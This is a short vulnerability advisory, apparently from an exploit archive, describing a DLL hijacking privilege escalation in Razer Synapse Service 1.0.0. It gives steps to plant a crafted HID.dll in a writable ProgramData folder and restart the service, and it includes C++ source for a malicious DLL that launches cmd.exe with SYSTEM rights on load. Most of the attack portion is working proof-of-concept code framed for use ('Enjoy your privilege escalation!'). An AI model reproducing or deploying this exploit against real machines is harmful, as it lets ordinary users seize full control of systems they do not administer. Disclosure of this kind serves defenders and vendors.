Share
Discovered by: Juan Sacco <jsacco@exploitpack.com>  
Razer Synapse Service v1.0.0 is prone to a DLL Injection because it  
fails to properly filter user supplied input and loads a .DLL from  
%ProgramData% from userland with SYSTEM rights allowing to escalate  
the priveleges from a regular user to SYSTEM rights.  
  
Program: Raze Synapse Service  
Version: 1.0.0  
Vendor: https://www.razer.com/  
Download link: https://www.razer.com/downloads  
  
Steps To Reproduce:  
Move your .DLL to C:\ProgramData\Razer\Synapse3\Service\Bin\HID.dll  
Restart the PC or restart the service. The service runs with SYSTEM rights.  
Enjoy your privilege escalation!  
  
Supporting Material/References:  
ProgramData specifies the path to the program-data folder (normally  
C:\ProgramData). Unlike the Program Files folder, this folder can be  
used by applications to store data for standard users, because it does  
not require elevated permissions. Reference:  
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/ff716245(v=win.10)?redirectedfrom=MSDN#feedback  
  
Razer Synaprse Service.exe loads a DLL ( HID.dll ) from  
ProgramData\Razer\Synapse3\Service\ folder with the function:  
"HidD_GetHidGuid()" using the following code we can compile a DLL and  
export this function from it to being called during attach.  
  
// dllmain.cpp : Defines the entry point for the DLL application.  
include "pch.h"  
include "windows.h"  
BOOL APIENTRY DllMain( HMODULE hModule,  
DWORD ul_reason_for_call,  
LPVOID lpReserved  
)  
{  
char cmd[] = "cmd.exe /c";  
switch (ul_reason_for_call)  
{  
case DLL_PROCESS_ATTACH:  
WinExec(cmd, SW_SHOWNORMAL);  
ExitProcess(0);  
case DLL_THREAD_ATTACH:  
WinExec(cmd, SW_SHOWNORMAL);  
ExitProcess(0);  
case DLL_THREAD_DETACH:  
WinExec(cmd, SW_SHOWNORMAL);  
ExitProcess(0);  
case DLL_PROCESS_DETACH:  
WinExec(cmd, SW_SHOWNORMAL);  
ExitProcess(0);  
break;  
}  
return TRUE;  
}  
  
extern "C" __declspec(dllexport) void HidD_GetHidGuid()  
{  
char cmd[] = "cmd.exe /c";  
WinExec(cmd, SW_SHOWNORMAL);  
}  
  
Impact  
A regular user could abuse of this vulnerability to gain full SYSTEM rights.